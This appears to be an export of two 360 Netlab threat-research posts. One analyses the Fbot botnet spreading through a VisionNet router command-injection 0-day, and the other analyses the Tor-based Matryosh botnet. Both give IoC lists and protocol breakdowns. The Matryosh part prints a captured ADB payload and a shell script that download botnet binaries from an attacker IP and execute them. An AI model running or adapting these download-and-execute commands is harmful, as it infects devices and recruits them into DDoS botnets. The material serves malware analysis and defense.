<!--kg-card-end: markdown--> | 本文作者：马延龙，靳丹龙，涂凌鸣，侯留洋
背景介绍
2021年1月26号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国DQ Technology，Inc.公司VisionNet路由器产品的0-day漏洞，传播Fbot僵尸网络样本。
0-day漏洞分析
漏洞类型：未授权的远程命令执行漏洞
漏洞分析：VisionNet路由器的/bin/httpd程序在处理pingcmd.cmd请求时，将address参数作为ping测试的目的地址。当gethostbyname()函数验证address参数失败时，会拼接ping命令，并由cgiPingCmd_test()间接调用system()函数执行生成ping命令日志。由于上述过程缺少对address字段的特殊字符的过滤以及登陆状态验证，导致未授权的远程命令执行漏洞。
Fbot僵尸网络
Fbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面
* 加密算法
* 上线包，心跳包
此次通过0day传播的样本（uzdad.mips），基本信息如下所示:
MD5:0a721d05492d6151e3abba3704196f42
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Packer:None
它本身并没有特别之处，主要功能是
* DDoS攻击
* Telnet扫描
下文将围绕上述功能做简要分析。
DDoS攻击
Fbot通过以下代码片段和硬编码的C2(45.95.169.238:5634)建立连接
随后向C2发送长度为78字节的上线信息
上线包格式解析过程如下所示
Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register
00 80 00 5a 00 57 00 c8 00 f0 00 1e --->hardcoded
00 04 --->length of cpu arch string
6d 69 70 73 ---->cpu arch
——————————————————————————————————————————
发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令类型。
0x00，心跳指令码
以下图心跳为例
心跳包的格式解析如下所示
Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
22 ba 15 24 1a 6f 04 d4 1f 9c 0d 06 --->hardcoded
——————————————————————————————————————————
0x01，DDoS攻击指令码
以下图攻击指令为例
攻击包的格式解析如下所示
Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
Telnet扫描
Fbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。
通过上面的代码片段，可知其扫描流量有2个特征
1. 扫描23端口数量约为2323端口的9倍
2. tcp头中的序列号与ip头中的目标地址相等
当端口开放时，通过硬编码的凭证尝试登录，最后将能成功登录的IP，端口，帐号，密码等信息回传给Reporter(45.95.169.238:1337)。
0-day漏洞影响范围
360 FirmwareTotal系统通过对VisionNet路由器固件分析和漏洞验证，发现以下VisionNet路由器固件受影响。
M504-R2_R4B027
M505N_R2_DQ-R4B081U
M505N_R3A_4128_S3_00_001
M505N_R3A_4128_S3_00_002
M505N_R3A_4128_S3_00_003
M505N_R3A_4128_S3_00_004
M505N_R3A_4128_S3_00_005
M505N_R3A_4128_S3_00_006
M505N_R3A_4128_S3_00_007
M605N_R1_R4B050
M405_R3_141215
360 Quake网络空间测绘系统通过对全网资产测绘，发现VisionNet路由器具体分布如下图所示。
处置建议
我们建议VisionNet路由器用户及时检查并更新固件系统。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
45.95.169.238 Netherlands ASN42864 Giganet Internet Szolgaltato Kft
C2:
45.95.169.238:5634
URL:
http://45.95.169.238/uzdad.x86
http://45.95.169.238/uzdad.arm6
http://45.95.169.238/uzdad.arm7
http://45.95.169.238/uzdad.mips
http://45.95.169.238/uzdad.arm5
http://45.95.169.238/uzdad.x86_64
http://45.95.169.238/uzdad.mipsel
http://45.95.169.238/uzdad.arm
http://45.95.169.238/armz.sh
http://45.95.169.238/arm6
http://45.95.169.238/arm5
http://45.95.169.238/mipsel
http://45.95.169.238/arm
http://45.95.169.238/arm7
http://45.95.169.238/mips
http://45.95.169.238/powerpc
http://45.95.169.238/x86_64
tftp://45.95.169.238/mipsel
MD5:
0a721d05492d6151e3abba3704196f42
0ae4ea5b0de5cb78080fdae43bf787d2
0f2c378ad9ba7d90cc070fd701d6d56e
090bddb4987019ded42d02eb10658a42
1bbc53e4592c7d6833f4f625bca6b461
1c61e656dcc7b2f8dc82d6dd6c4a4e33
1ecd8b7680bff9b13cd9a45d9fb9562a
3b1a14f4f47f362295b54e0f61d5b6a6
3d27d6e8207c8617b63be0b394bbe58d
6b64505f2e9dd737c9acd92604a9c27e
6ed24dffd20b675b53245cd1ad402bad
9dea4f073eaf95541a83ec1b7974a15e
14e90c68d479d68aec9d668b8d62ab87
21ad9dcc6fea0d08ef634de48c6224c8
35b73b96eb93d8d8b6cf9707c9573328
54e4425ac7d972134be6d2600f20b537
54eee54c3f51a5ed8fd406eee7b3e03f
73bfb8cbff5770a67a207d3f77fc2015
111fe291c062ec4ff0ef54fa3b43eafe
127aa326d81c6cd48f9afafaa2b3f4df
269db30f85d264ede98add7d5dc2451a
676d4cdad2b9a708c06ae387b7c35001
724f3ae5955f9019c1effaa29e09230c
767d326d2f83fac0bd81fff28d6a2a65
3421b3dd2b27bff7612c5a443847d1a9
4512e96380efdfcab4bcfc7fa500e16a
98298bac7929e71fc51ce869d3229367
294753e87a7e8ca90ac349859229f07b
2738363ae678c4797cc31b74343068fb
461741035bd397af31f7af0da770e1af
a27fa90153552785d6da26f59f675168
a322df1fb0315057c6e8675f04bf25d3
a9130a7ae9088d184433ce77795403d7
a51835cee1296c9d3697df310e382c86
abd129f17fdc4cc2391d7d2f67e44e61
b19b8456950c040fa12efb0299555a2e
bb9c8c178202294e76b2033a29ebdf8e
bea274bb100548ebc7ce6c8862c6049e
c4b4b3f9e7be21a791cc34e7b9178dfd
c29aba6f48c28cf60c79814c8fcbeb94
c330fa7b9e3978a48f1a42e5ca154d3a
ca93c94d2ef78b3cfd7ff89fcb336ced
ce8e80d89350813c70aee089e4f0c39f
d476f6ea60c74d472f8d5d0c49cd27f5
e3a57e08597e9108caad0aa13a2b66f1
e3e81b7be16a42d2ccf96f3a8ea8709f
f0a4b1b07803717461a4fe360f24a088
f0cd95b9442c0fe72f33acbdbb66bdc6
f3469ddce604319779dc1f160931c32d
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，靳丹龙，[涂凌鸣](https://twitter.com/IUnKnow84503351)，侯留洋*\n\n### 背景介绍\n2021年1月26号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国DQ Technology，Inc.公司VisionNet路由器产品的0-day漏洞，传播Fbot僵尸网络样本。\n\n### 0-day漏洞分析\n漏洞类型：未授权的远程命令执行漏洞\n漏洞分析：VisionNet路由器的`/bin/httpd`程序在处理`pingcmd.cmd`请求时，将`address`参数作为`ping`测试的目的地址。当`gethostbyname()`函数验证`address`参数失败时，会拼接`ping`命令，并由`cgiPingCmd_test()`间接调用`system()`函数执行生成ping命令日志。由于上述过程缺少对`address`字段的特殊字符的过滤以及登陆状态验证，导致未授权的远程命令执行漏洞。\n<a href=\"__GHOST_URL__/content/images/2021/02/pingcmd.png\"><img src=\"__GHOST_URL__/content/images/2021/02/pingcmd.png\" class=\"kg-image\"/></a>\n\n### Fbot僵尸网络\n\nFbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面\n\n- 加密算法\n- 上线包，心跳包\n\n此次通过0day传播的样本（uzdad.mips），基本信息如下所示:\n\n> MD5:0a721d05492d6151e3abba3704196f42\n>\n> ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n>\n> Packer:None\n\n它本身并没有特别之处，主要功能是\n\n- DDoS攻击\n- Telnet扫描\n\n下文将围绕上述功能做简要分析。\n\n### DDoS攻击\n\nFbot通过以下代码片段和硬编码的C2(```45.95.169.238:5634```)建立连接\n\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_connect-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_connect-1.png\" class=\"kg-image\"/></a>\n\n\n随后向C2发送长度为78字节的上线信息\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_reg.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_reg.png\" class=\"kg-image\"/></a>\n\n\n上线包格式解析过程如下所示\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n02 --->type，register\n00 80 00 5a 00 57 00 c8 00 f0 00 1e --->hardcoded\n00 04 --->length of cpu arch string \n6d 69 70 73 ---->cpu arch\n——————————————————————————————————————————\n```\n\n发送完上线包后Bot开始等待C2下发指令。指令包的**第一个字节**指定了指令类型。\n\n#### 0x00，心跳指令码\n\n以下图心跳为例\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_beat.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_beat.png\" class=\"kg-image\"/></a>\n\n\n心跳包的格式解析如下所示\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n00 --->type，heartbeat package\n22 ba 15 24 1a 6f 04 d4 1f 9c 0d 06 --->hardcoded\n——————————————————————————————————————————\n```\n\n#### 0x01，DDoS攻击指令码\n\n以下图攻击指令为例\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\" class=\"kg-image\"/></a>\n\n\n攻击包的格式解析如下所示\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n01 \t\t\t\t\t\t--->type，attack package \n01\t\t\t\t\t\t\t--->attack type\n00 3c \t\t\t\t\t\t--->time (sec)\n01\t\t\t\t\t\t\t--->number of target\n67 5f dd bc 00 20\t\t\t--->target/mask,103.95.221.188/32\n02\t\t\t\t\t\t\t--->number of flag\n\t02\t\t\t\t\t\t\t--->flag type, attack package length\n\t00 04\t\t\t\t\t\t--->flag length\n\t31 34 36 30\t\t\t\t\t--->flag data，1460\n\t\n\t\n\t01\t\t\t\t\t\t\t--->flag type, port\n\t00 02\t\t\t\t\t\t--->flag length\n\t35 33\t\t\t\t\t\t--->flag data，53\n——————————————————————————————————————————\n```\n\n#### Telnet扫描\n\nFbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。\n\n\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_tel-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_tel-1.png\" class=\"kg-image\"/></a>\n\n通过上面的代码片段，可知其扫描流量有2个特征\n\n1. 扫描23端口数量约为2323端口的9倍\n2. tcp头中的序列号与ip头中的目标地址相等\n\n当端口开放时，通过硬编码的凭证尝试登录，最后将能成功登录的```IP，端口，帐号，密码```等信息回传给Reporter(```45.95.169.238:1337```)。\n\n\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_report-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_report-1.png\" class=\"kg-image\"/></a>\n\n### 0-day漏洞影响范围\n360 FirmwareTotal系统通过对VisionNet路由器固件分析和漏洞验证，发现以下VisionNet路由器固件受影响。\n```\nM504-R2_R4B027\nM505N_R2_DQ-R4B081U\nM505N_R3A_4128_S3_00_001\nM505N_R3A_4128_S3_00_002\nM505N_R3A_4128_S3_00_003\nM505N_R3A_4128_S3_00_004\nM505N_R3A_4128_S3_00_005\nM505N_R3A_4128_S3_00_006\nM505N_R3A_4128_S3_00_007\nM605N_R1_R4B050\nM405_R3_141215 \n```\n\n360 Quake网络空间测绘系统通过对全网资产测绘，发现VisionNet路由器具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/01/visionnet.png\"><img src=\"__GHOST_URL__/content/images/2021/01/visionnet.png\" class=\"kg-image\"/></a>\n\n### 处置建议\n我们建议VisionNet路由器用户及时检查并更新固件系统。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n45.95.169.238 \tNetherlands \tASN42864 \tGiganet Internet Szolgaltato Kft\n```\n\nC2:\n```\n45.95.169.238:5634\n```\n\nURL:\n```\nhttp://45.95.169.238/uzdad.x86\nhttp://45.95.169.238/uzdad.arm6\nhttp://45.95.169.238/uzdad.arm7\nhttp://45.95.169.238/uzdad.mips\nhttp://45.95.169.238/uzdad.arm5\nhttp://45.95.169.238/uzdad.x86_64\nhttp://45.95.169.238/uzdad.mipsel\nhttp://45.95.169.238/uzdad.arm\nhttp://45.95.169.238/armz.sh\nhttp://45.95.169.238/arm6\nhttp://45.95.169.238/arm5\nhttp://45.95.169.238/mipsel\nhttp://45.95.169.238/arm\nhttp://45.95.169.238/arm7\nhttp://45.95.169.238/mips\nhttp://45.95.169.238/powerpc\nhttp://45.95.169.238/x86_64\ntftp://45.95.169.238/mipsel\n```\n\nMD5:\n```\n0a721d05492d6151e3abba3704196f42\n0ae4ea5b0de5cb78080fdae43bf787d2\n0f2c378ad9ba7d90cc070fd701d6d56e\n090bddb4987019ded42d02eb10658a42\n1bbc53e4592c7d6833f4f625bca6b461\n1c61e656dcc7b2f8dc82d6dd6c4a4e33\n1ecd8b7680bff9b13cd9a45d9fb9562a\n3b1a14f4f47f362295b54e0f61d5b6a6\n3d27d6e8207c8617b63be0b394bbe58d\n6b64505f2e9dd737c9acd92604a9c27e\n6ed24dffd20b675b53245cd1ad402bad\n9dea4f073eaf95541a83ec1b7974a15e\n14e90c68d479d68aec9d668b8d62ab87\n21ad9dcc6fea0d08ef634de48c6224c8\n35b73b96eb93d8d8b6cf9707c9573328\n54e4425ac7d972134be6d2600f20b537\n54eee54c3f51a5ed8fd406eee7b3e03f\n73bfb8cbff5770a67a207d3f77fc2015\n111fe291c062ec4ff0ef54fa3b43eafe\n127aa326d81c6cd48f9afafaa2b3f4df\n269db30f85d264ede98add7d5dc2451a\n676d4cdad2b9a708c06ae387b7c35001\n724f3ae5955f9019c1effaa29e09230c\n767d326d2f83fac0bd81fff28d6a2a65\n3421b3dd2b27bff7612c5a443847d1a9\n4512e96380efdfcab4bcfc7fa500e16a\n98298bac7929e71fc51ce869d3229367\n294753e87a7e8ca90ac349859229f07b\n2738363ae678c4797cc31b74343068fb\n461741035bd397af31f7af0da770e1af\na27fa90153552785d6da26f59f675168\na322df1fb0315057c6e8675f04bf25d3\na9130a7ae9088d184433ce77795403d7\na51835cee1296c9d3697df310e382c86\nabd129f17fdc4cc2391d7d2f67e44e61\nb19b8456950c040fa12efb0299555a2e\nbb9c8c178202294e76b2033a29ebdf8e\nbea274bb100548ebc7ce6c8862c6049e\nc4b4b3f9e7be21a791cc34e7b9178dfd\nc29aba6f48c28cf60c79814c8fcbeb94\nc330fa7b9e3978a48f1a42e5ca154d3a\nca93c94d2ef78b3cfd7ff89fcb336ced\nce8e80d89350813c70aee089e4f0c39f\nd476f6ea60c74d472f8d5d0c49cd27f5\ne3a57e08597e9108caad0aa13a2b66f1\ne3e81b7be16a42d2ccf96f3a8ea8709f\nf0a4b1b07803717461a4fe360f24a088\nf0cd95b9442c0fe72f33acbdbb66bdc6\nf3469ddce604319779dc1f160931c32d\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60122dd1d0d9b7000712aa6b |
post | null | 2021-02-01T04:37:55.000Z | 63873b9a8b1c1e0007f52f9d | matryosh-botnet-is-spreading-en | 0 | 2021-02-02T14:00:00.000Z | public | published | null | 2021-02-02T14:00:00.000Z | New Threat: Matryosh Botnet Is Spreading | <!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>On January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as<br>
Mirai, but the network traffic did not match Mirai's characteristics.<br>
This anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the <code>ADB interface</code>, and targeted Android-like devices with the main purpose of DDoS attacks.<br>
It redesigns the encryption algorithm and obtains <code>TOR C2</code> and the TOR proxys from remote hosts via <code>DNS TXT</code>.</p>
<p>The encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it <code>Matryosh</code>.</p>
<p>As the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the <code>Moobot group</code>, which is very active at the moment.</p>
<p>Matryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports <strong>tcpraw, icmpecho, udpplain</strong> attacks, the basic process is shown in the following figure.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_network.png" width="860px" /></p>
<h1 id="propagation">Propagation</h1>
<p>Currently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.</p>
<pre><code>CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.
</code></pre>
<p>The downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.</p>
<pre><code>#!/bin/sh
n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"
for a in $n
do
curl http://$http_server/nXejnFjen/$a > asFxgte
chmod 777 asFxgte
./asFxgte android
done
for a in $n
do
rm $a
done
</code></pre>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>Matryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.</p>
<blockquote>
<p>MD5:c96e333af964649bbc0060f436c64758<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Lib:uclibc<br>
Packer:None</p>
</blockquote>
<p>The function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the <code>stdin: pipe failed</code> to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.</p>
<h1 id="decryptingsensitiveresources">Decrypting sensitive resources</h1>
<p>As you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_ida.jpg" alt="taowa_ida" loading="lazy"><br>
The ciphertext is composed of 1 header and N body, and the structure is shown below.</p>
<pre><code>struct header {
u8 msg_len;
u8 key;
u8 body_cnt;
}
struct body {
u8 key;
u8 body_len;
char *body_buf;
}
</code></pre>
<p>Take the ciphertext<code>06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00</code> as an example, the decryption process is shown as follows.</p>
<pre><code>header.msglen=0x06 --->valid length of the ciphertext is 6 bytes
header.key=0x29
header.body_cnt=0x2 ---> 2 body
body1.key=0xdc
body1.len=0x10 --->length of body1 is 0x10 bytes
body1 decryption
header.key XOR body1.key = key of body1 to decrypt,0xf5
ciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
plaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|
body2.key=0xfb
body2.len=0x6 --->length of body2 is 0x6 bytes
body2 decryption
header.key xor body2.key = key of body2 to decrypt,0x2f
ciphertext：D2 11 04 00 00 00
plaintext： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|
The effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.
</code></pre>
<p>The decryption script in the <a href="#decrypt_str">Appendix</a> can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.</p>
<table>
<thead>
<tr>
<th>tcpraw</th>
<th>icmpecho</th>
<th>udpplain</th>
</tr>
</thead>
<tbody>
<tr>
<td>/proc/</td>
<td>/cmdline</td>
<td>stdin: pipe failed</td>
</tr>
<tr>
<td>hosts.hiddenservice.xyz</td>
<td>.hiddenservice.xyz</td>
<td>onion.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<h1 id="processrenaming">Process renaming</h1>
<p>Rename the process to a <code>14 bytes case-sensitive</code> process name to confuse the user.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_proc.jpg" alt="taowa_proc" loading="lazy"><br>
The actual effect is shown in the following figure.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_name.JPG" alt="taowa_name" loading="lazy"></p>
<h1 id="obtainingtorproxyandtorc2">Obtaining TOR proxy and TOR C2</h1>
<p>The process of obtaining proxy and C2 by Bot can be divided into 4 steps.</p>
<h3 id="step1">step 1</h3>
<p>Decrypt to get remote host A (<code>hosts.hiddenservice.xyz</code>) and get its DNS TXT resolution result.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step1.jpg" alt="taowa_step1" loading="lazy"></p>
<pre><code> hosts.hiddenservice.xyz. 1751 IN TXT "iekfgakxorbfjcefbiyj"
</code></pre>
<h3 id="step2">step 2</h3>
<p>Decrypt to get the remote host suffix (<code>.hiddenservice.xyz</code>), then extract the characters from the string obtained in the first step (<code>iekfgakxorbfjcefbiyj</code>) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix <code>er</code>.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>14,9</td>
<td>er</td>
</tr>
<tr>
<td>19,10</td>
<td>jb</td>
</tr>
<tr>
<td>3,4</td>
<td>fg</td>
</tr>
<tr>
<td>6,2</td>
<td>kk</td>
</tr>
<tr>
<td>8,13</td>
<td>oc</td>
</tr>
<tr>
<td>12,18</td>
<td>jy</td>
</tr>
<tr>
<td>11,1</td>
<td>fe</td>
</tr>
<tr>
<td>7,15</td>
<td>xf</td>
</tr>
<tr>
<td>5,17</td>
<td>ai</td>
</tr>
<tr>
<td>16,0</td>
<td>bi</td>
</tr>
<tr>
<td>Finally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.</td>
<td></td>
</tr>
<tr>
<td>jb.hiddenservice.xyz</td>
<td>er.hiddenservice.xyz</td>
</tr>
<tr>
<td>--------------------</td>
<td>--------------------</td>
</tr>
<tr>
<td>fg.hiddenservice.xyz</td>
<td>kk.hiddenservice.xyz</td>
</tr>
<tr>
<td>oc.hiddenservice.xyz</td>
<td>jy.hiddenservice.xyz</td>
</tr>
<tr>
<td>fe.hiddenservice.xyz</td>
<td>xf.hiddenservice.xyz</td>
</tr>
<tr>
<td>ai.hiddenservice.xyz</td>
<td>bi.hiddenservice.xyz</td>
</tr>
<tr>
<td>The actual network traffic in the figure below, validates our analysis.</td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/01/taowa_step2.jpg" alt="taowa_step2" loading="lazy"></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="step3">step 3</h3>
<p>Request DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step3.jpg" alt="taowa_step3" loading="lazy"></p>
<pre><code>oc.hiddenservice.xyz. 1799 IN TXT "198.245.53.58:9095"
fe.hiddenservice.xyz. 1799 IN TXT "198.27.82.186:9050"
</code></pre>
<h3 id="step4">step 4</h3>
<p>Decrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step4.jpg" alt="taowa_step4" loading="lazy"></p>
<pre><code>onion.hiddenservice.xyz. 1799 IN TXT "4qhemgahbjg4j6pt.onion"
</code></pre>
<p>At this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.</p>
<h1 id="c2communication">C2 Communication</h1>
<p>To communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg" alt="taowa.proxy" loading="lazy"><br>
The <strong>TOR C2, PORT</strong> information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded <code>31337</code>.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_c2.jpg" alt="taowa_c2" loading="lazy"><br>
If the TOR proxy returns <code>05 00 00 01 00 00 00 00 00 00</code>, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg" alt="taowa_pcap" loading="lazy"><br>
After sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.</p>
<ul>
<li>Command code: 0x84 for heartbeat<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_beat.jpg" alt="taowa_beat" loading="lazy"></li>
<li>Command code: 0x55 for uploads the group information of the Bot<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_reg.jpg" alt="taowa_reg" loading="lazy"></li>
<li>Command code: non-0x55, non-0x84, DDoS attack<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_atk.jpg" alt="taowa_atk" loading="lazy"></li>
</ul>
<h1 id="relationshipwithmoobotgroup">Relationship with Moobot group</h1>
<p>The <strong>Moobot group</strong> is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, <a href="__GHOST_URL__/the-leethozer-botnet-en/">LeetHozer</a>, on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.</p>
<p>1.Using a model like TOR C2</p>
<p>2.C2 port (31337) & attack method name is the same</p>
<p>3.<strong>C2 command format is highly similar</strong></p>
<p>Based on these considerations, we speculate that Matryosh isthe new work of thisparent group.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Matryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator.</p>
<p>However, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email to netlab at 360 dot cn.</p>
<h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66
SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
</code></pre>
<p>URL</p>
<pre><code>kk.hiddenservice.xyz
er.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
oc.hiddenservice.xyz
jb.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
fg.hiddenservice.xyz
hosts.hiddenservice.xyz
onion.hiddenservice.xyz
</code></pre>
<p>C2</p>
<pre><code>4qhemgahbjg4j6pt.onion：31337
</code></pre>
<p>Proxy Ip</p>
<pre><code>46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
</code></pre>
<p>Downloader</p>
<pre><code>i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}
</code></pre>
<h2 id="aiddecrypt_strappendixidascripta"><a id="decrypt_str">Appendix(IDA script)</a></h2>
<pre><code>import idc
import idaapi
import idautils
# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
round = 0
while round < 2:
addr = idc.PrevHead(addr)
if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
return GetOperandValue(addr, 1)
if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
return GetOperandValue(addr, 0)
round += 1
return 0
def get_string(addr):
out = []
while True:
if Byte(addr) != 0:
out.append(Byte(addr))
else:
break
addr += 1
return out
def descrypt(enc_lst):
msg_length = enc_lst[0]
xor_key1 = enc_lst[1]
group = enc_lst[2]
msg_lst = enc_lst[3:]
des_msg = []
for i in range(0, group):
xor_key2 = msg_lst[0]
group_len = msg_lst[1]
key = xor_key1 ^ xor_key2
for j in range(2, group_len + 2):
des_msg.append(chr(msg_lst[j] ^ key))
if len(des_msg) > msg_length:
des_msg = des_msg[0:msg_length]
break
msg_lst = msg_lst[group_len + 2:]
print("".join(des_msg))
descrypt_func_ea = 0x080493E0
refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
refsto_lst.append(ref)
ens_str_addr = []
for ea in refsto_lst:
addr = find_function_arg(ea)
if addr != 0:
ens_str_addr.append(addr)
# print(hex(addr))
else:
print("Missed arg at {}".format(ea))
for ea in ens_str_addr:
ret = get_string(ea)
descrypt(ret)
</code></pre>
<!--kg-card-end: markdown--> | Background
On January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as
Mirai, but the network traffic did not match Mirai's characteristics.
This anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the ADB interface, and targeted Android-like devices with the main purpose of DDoS attacks.
